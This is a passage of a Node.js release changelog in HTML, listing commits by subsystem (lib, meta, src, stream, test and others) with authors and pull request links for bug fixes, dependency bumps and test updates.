<li>[<a href="https://github.com/nodejs/node/commit/8b060a9628"><code>8b060a9628</code></a>] - <strong>inspector</strong>: fix crash when writing to closed inspector socket (ympark2011) <a href="https://github.com/nodejs/node/pull/64209" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64209/hovercard">#64209</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e68a3d33ac"><code>e68a3d33ac</code></a>] - <strong>inspector</strong>: fix inspector.close() documented behavior (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63837" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63837/hovercard">#63837</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3682930b7"><code>d3682930b7</code></a>] - <strong>lib</strong>: fix missing lazyDOMException import (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64033" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64033/hovercard">#64033</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af9ea9cfcf"><code>af9ea9cfcf</code></a>] - <strong>lib</strong>: reject string "0" in validatePort when allowZero is false (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/64174" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64174/hovercard">#64174</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd1ea26110"><code>cd1ea26110</code></a>] - <strong>lib</strong>: use <code>__proto__: null</code> when calling <code>ObjectDefineProperty</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64239" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64239/hovercard">#64239</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b264398ce"><code>5b264398ce</code></a>] - <strong>lib</strong>: lazily initialize kEvents and kHandlers maps (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/63702" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63702/hovercard">#63702</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/823efe8c71"><code>823efe8c71</code></a>] - <strong>lib</strong>: improve control abstraction coverage in frozen intrinsics (Renegade334) <a href="https://github.com/nodejs/node/pull/63698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63698/hovercard">#63698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f4af5568f"><code>7f4af5568f</code></a>] - <strong>lib</strong>: add Iterator global to primordials (Renegade334) <a href="https://github.com/nodejs/node/pull/63698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63698/hovercard">#63698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c8f3f5e5a5"><code>c8f3f5e5a5</code></a>] - <strong>lib</strong>: make <code>Navigator#language</code> getter throw on invalid <code>this</code> (Mohamed Sayed) <a href="https://github.com/nodejs/node/pull/63601" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63601/hovercard">#63601</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1ebbbd59cf"><code>1ebbbd59cf</code></a>] - <strong>lib</strong>: optimize webidl conversion options (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62756" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62756/hovercard">#62756</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/88590d1bb7"><code>88590d1bb7</code></a>] - <strong>meta</strong>: bump actions/checkout from 6.0.2 to 6.0.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63726" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63726/hovercard">#63726</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0ea9cb9630"><code>0ea9cb9630</code></a>] - <strong>meta</strong>: bump actions/upload-artifact from 7.0.0 to 7.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62850" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62850/hovercard">#62850</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f7275a0864"><code>f7275a0864</code></a>] - <strong>meta</strong>: fix linter warning in <code>stale.yml</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64281/hovercard">#64281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3a77d21d8c"><code>3a77d21d8c</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.5 to 6.1.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64248" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64248/hovercard">#64248</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/84e2836c95"><code>84e2836c95</code></a>] - <strong>meta</strong>: bump github/codeql-action/autobuild from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64247" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64247/hovercard">#64247</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/09f800eec6"><code>09f800eec6</code></a>] - <strong>meta</strong>: bump github/codeql-action/analyze from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64246" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64246/hovercard">#64246</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6df1f97e64"><code>6df1f97e64</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 6.0.1 to 7.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64244/hovercard">#64244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/737eb89651"><code>737eb89651</code></a>] - <strong>meta</strong>: bump rtCamp/action-slack-notify from 2.3.3 to 2.4.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64243" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64243/hovercard">#64243</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dac3cd8b8f"><code>dac3cd8b8f</code></a>] - <strong>meta</strong>: bump github/codeql-action/init from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64242" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64242/hovercard">#64242</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/108a6bc481"><code>108a6bc481</code></a>] - <strong>meta</strong>: bump github/codeql-action/upload-sarif from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64240" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64240/hovercard">#64240</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34d09a725d"><code>34d09a725d</code></a>] - <strong>meta</strong>: clarify V8 flags are outside threat model (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64224" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64224/hovercard">#64224</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/944d9bc25f"><code>944d9bc25f</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64057" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64057/hovercard">#64057</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc22555402"><code>cc22555402</code></a>] - <strong>meta</strong>: update status of past strategic initiatives (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63480" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63480/hovercard">#63480</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da7a21931e"><code>da7a21931e</code></a>] - <strong>meta</strong>: speed up stale bot (Aviv Keller) <a href="https://github.com/nodejs/node/pull/64075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64075/hovercard">#64075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bfcf7ca56"><code>7bfcf7ca56</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.35.3 to 4.36.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63724" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63724/hovercard">#63724</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db6c983cdd"><code>db6c983cdd</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.4 to 5.0.5 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62847" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62847/hovercard">#62847</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e4f1339d1"><code>9e4f1339d1</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 6.0.0 to 6.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63725" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63725/hovercard">#63725</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92c98d3ade"><code>92c98d3ade</code></a>] - <strong>meta</strong>: bump actions/stale from 10.2.0 to 10.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63728" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63728/hovercard">#63728</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbd3ffde89"><code>bbd3ffde89</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.19.0 to 2.19.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63727" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63727/hovercard">#63727</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a6dd675c82"><code>a6dd675c82</code></a>] - <strong>module</strong>: enable import support for addons by default (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64221" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64221/hovercard">#64221</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fb2ccb15a1"><code>fb2ccb15a1</code></a>] - <strong>module</strong>: use file: URL as sourceURL for type-stripped CommonJS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63705" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63705/hovercard">#63705</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9e17dc424"><code>b9e17dc424</code></a>] - <strong>net</strong>: early TCP binding via synchronous net.BoundSocket (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63951" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63951/hovercard">#63951</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a534b65815"><code>a534b65815</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: support TCP_KEEPINTVL and TCP_KEEPCNT in setKeepAlive (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63825" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63825/hovercard">#63825</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c55dd030e6"><code>c55dd030e6</code></a>] - <strong>net</strong>: coerce -0 to +0 in BlockList prefixes (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a23cdec683"><code>a23cdec683</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>perf_hooks</strong>: sample delay per event loop iteration (Pablo Erhard) <a href="https://github.com/nodejs/node/pull/62935" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62935/hovercard">#62935</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f08b83bc1d"><code>f08b83bc1d</code></a>] - <strong>perf_hooks</strong>: add NODE_PERFORMANCE_GC_MINOR_MARK_SWEEP constant (Attila Szegedi) <a href="https://github.com/nodejs/node/pull/63877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63877/hovercard">#63877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d58e1b415"><code>8d58e1b415</code></a>] - <strong>process</strong>: fix finalization cleanup ref tracking (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64087/hovercard">#64087</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c757e3ef59"><code>c757e3ef59</code></a>] - <strong>sqlite</strong>: do not leave database open after failed open (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63854" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63854/hovercard">#63854</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87064a096b"><code>87064a096b</code></a>] - <strong>sqlite</strong>: fix stack-use-after-scope with function callback (ndossche) <a href="https://github.com/nodejs/node/pull/63640" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63640/hovercard">#63640</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7428b57a37"><code>7428b57a37</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: allow empty --experimental-config-file (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61610" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61610/hovercard">#61610</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d7946c9c07"><code>d7946c9c07</code></a>] - <strong>src</strong>: add test flag to config file (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/60798" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60798/hovercard">#60798</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a642657d71"><code>a642657d71</code></a>] - <strong>src</strong>: rename config file testRunner to test (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/60798" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60798/hovercard">#60798</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/818b43d09e"><code>818b43d09e</code></a>] - <strong>src</strong>: do not enable wasm trap handler if there's not enough vmem (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62132" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62132/hovercard">#62132</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af5e1a9729"><code>af5e1a9729</code></a>] - <strong>src</strong>: fix escaping of single quotes in task runner (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64089" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64089/hovercard">#64089</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8a5d3bc168"><code>8a5d3bc168</code></a>] - <strong>src</strong>: abstract tracing agent for both legacy and perfetto (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64053" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64053/hovercard">#64053</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce6f29e45b"><code>ce6f29e45b</code></a>] - <strong>src</strong>: avoid redundant call to <code>std::get_if&lt;&gt;()</code> (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64094" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64094/hovercard">#64094</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/96478050f2"><code>96478050f2</code></a>] - <strong>src</strong>: omit unconvertible names in cjs_lexer::Parse (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63943" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63943/hovercard">#63943</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0147ed746e"><code>0147ed746e</code></a>] - <strong>src</strong>: guard OpenSSL compression header include (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64009" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64009/hovercard">#64009</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d2858a9c4"><code>8d2858a9c4</code></a>] - <strong>src</strong>: handle empty MaybeLocal in cjs_lexer::Parse (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63885" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63885/hovercard">#63885</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e5289d180f"><code>e5289d180f</code></a>] - <strong>src</strong>: do not track weak <code>BaseObject</code>s as childrens of <code>Realm</code>s (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63842/hovercard">#63842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e8352ff754"><code>e8352ff754</code></a>] - <strong>src</strong>: allow tracking children in <code>MemoryTracker</code> with weak edges (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63842/hovercard">#63842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a408f279c5"><code>a408f279c5</code></a>] - <strong>src</strong>: use C++14 deprecated attribute for <code>NODE_DEPRECATED</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63755" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63755/hovercard">#63755</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b5eb7b72d"><code>4b5eb7b72d</code></a>] - <strong>src</strong>: add cleanup hooks to <code>node::ObjectWrap</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63642" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63642/hovercard">#63642</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44976c6071"><code>44976c6071</code></a>] - <strong>src</strong>: fix edge case when deflateInit2() fails with Z_VERSION_ERROR (Nora Dossche) <a href="https://github.com/nodejs/node/pull/63476" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63476/hovercard">#63476</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b3bb284f3"><code>5b3bb284f3</code></a>] - <strong>src</strong>: add Latin1 fast path in StringBytes::Encode utf8 (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/63385" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63385/hovercard">#63385</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7cdad636c4"><code>7cdad636c4</code></a>] - <strong>src</strong>: fix crash when reading length on Storage.prototype (Mohamed Sayed) <a href="https://github.com/nodejs/node/pull/63529" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63529/hovercard">#63529</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c438250c68"><code>c438250c68</code></a>] - <strong>stream</strong>: cut per-chunk overhead in WHATWG streams (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64252" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64252/hovercard">#64252</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/291c127947"><code>291c127947</code></a>] - <strong>stream</strong>: reduce allocations on WHATWG streams hot paths (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63876" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63876/hovercard">#63876</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d91aeb434"><code>3d91aeb434</code></a>] - <strong>stream</strong>: optimize pipeTo promise handling (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63572" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63572/hovercard">#63572</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fcbff00a44"><code>fcbff00a44</code></a>] - <strong>stream</strong>: preserve half-open duplexes in async iteration (Efe) <a href="https://github.com/nodejs/node/pull/64275" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64275/hovercard">#64275</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e57597173c"><code>e57597173c</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: expose ReadableStreamTee (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64195" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64195/hovercard">#64195</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a48edf40e8"><code>a48edf40e8</code></a>] - <strong>stream</strong>: proxy first own method in Readable.wrap() (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/64048" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64048/hovercard">#64048</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f58c5bafcf"><code>f58c5bafcf</code></a>] - <strong>stream</strong>: fix Writable.toWeb() desiredSize for non-object-mode (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62986" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62986/hovercard">#62986</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7261276f45"><code>7261276f45</code></a>] - <strong>stream</strong>: fix Utf8Stream stall after full write of multi-byte data (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63964" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63964/hovercard">#63964</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1558986b78"><code>1558986b78</code></a>] - <strong>stream</strong>: only pass the expected number of parameters to callbacks (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63909" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63909/hovercard">#63909</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/edef89ba6a"><code>edef89ba6a</code></a>] - <strong>stream</strong>: fix dropped first chunk in Utf8Stream buffer mode (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63833/hovercard">#63833</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/915e3e2f42"><code>915e3e2f42</code></a>] - <strong>stream</strong>: check done before backpressure in stream reader (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63699/hovercard">#63699</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2d29628b5b"><code>2d29628b5b</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 03a1476844 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63900" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63900/hovercard">#63900</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/89e23b70c4"><code>89e23b70c4</code></a>] - <strong>test</strong>: deflake test-debugger-probe-timeout (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63547" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63547/hovercard">#63547</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54ca514414"><code>54ca514414</code></a>] - <strong>test</strong>: make blob desiredSize assertion robust (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64106" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64106/hovercard">#64106</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01cbe530eb"><code>01cbe530eb</code></a>] - <strong>test</strong>: update WPT for urlpattern to 11a459a2b1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64037" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64037/hovercard">#64037</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6fcd3cf516"><code>6fcd3cf516</code></a>] - <strong>test</strong>: improve lcov reporter snapshot diagnostics (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64049" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64049/hovercard">#64049</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f50a55d7e5"><code>f50a55d7e5</code></a>] - <strong>test</strong>: keep finalization close fixture ref alive (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64085" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64085/hovercard">#64085</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3085714530"><code>3085714530</code></a>] - <strong>test</strong>: fix typo from overriden to overridden (parkhojeong) <a href="https://github.com/nodejs/node/pull/63403" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63403/hovercard">#63403</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9f5347e8df"><code>9f5347e8df</code></a>] - <strong>test</strong>: mark hr-time WPT flaky on macos15-x64 (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64054" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64054/hovercard">#64054</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44b4fe4246"><code>44b4fe4246</code></a>] - <strong>test</strong>: use one-off agent in http consumed timeout test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64052" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64052/hovercard">#64052</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2f567edaca"><code>2f567edaca</code></a>] - <strong>test</strong>: fix flaky test-runner coverage threshold test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64051" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64051/hovercard">#64051</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a56fbb2d36"><code>a56fbb2d36</code></a>] - <strong>test</strong>: tolerate duplicate watch change events (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63937" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63937/hovercard">#63937</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b636f4769c"><code>b636f4769c</code></a>] - <strong>test</strong>: mark test-debugger-run-after-quit-restart as flaky on macOS (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64006" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64006/hovercard">#64006</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba23eb9717"><code>ba23eb9717</code></a>] - <strong>test</strong>: update WPT for url to d4598eba09 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63899/hovercard">#63899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bc420f20d8"><code>bc420f20d8</code></a>] - <strong>test</strong>: update WPT for urlpattern to 23aac92784 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63898/hovercard">#63898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d2c9c07af8"><code>d2c9c07af8</code></a>] - <strong>test</strong>: add tests for 3 methods in utils (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63765" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63765/hovercard">#63765</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4e00c8ec2e"><code>4e00c8ec2e</code></a>] - <strong>test</strong>: mark SEA tests flaky on linux arm debug (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63743" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63743/hovercard">#63743</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a17cf06d12"><code>a17cf06d12</code></a>] - <strong>test</strong>: validate ERR_INVALID_THIS for scheduler methods (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63764" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63764/hovercard">#63764</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d59d7fdd16"><code>d59d7fdd16</code></a>] - <strong>test</strong>: add coverage outside SEA (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63744" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63744/hovercard">#63744</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/71a32d31bf"><code>71a32d31bf</code></a>] - <strong>test</strong>: update WPT for urlpattern to 2f28df545c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63771" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63771/hovercard">#63771</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28c77ab174"><code>28c77ab174</code></a>] - <strong>test</strong>: make Brotli 16GB test wait for backpressure (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63389/hovercard">#63389</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a81921d4a"><code>9a81921d4a</code></a>] - <strong>test</strong>: add regression test for using <code>ObjectWrap</code> in worker (Mohamed Akram) <a href="https://github.com/nodejs/node/pull/63642" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63642/hovercard">#63642</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/88ab61f2f8"><code>88ab61f2f8</code></a>] - <strong>test</strong>: accept SIGILL aborts in async-hooks tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63687" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63687/hovercard">#63687</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b4f5c86463"><code>b4f5c86463</code></a>] - <strong>test</strong>: add more test cases for pathToFileURL (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63293" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63293/hovercard">#63293</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/812a66f0ac"><code>812a66f0ac</code></a>] - <strong>test</strong>: update test426-fixtures to 2965987bf4c96afa400c9356c8e620cb340aaee (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63668" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63668/hovercard">#63668</a></li>
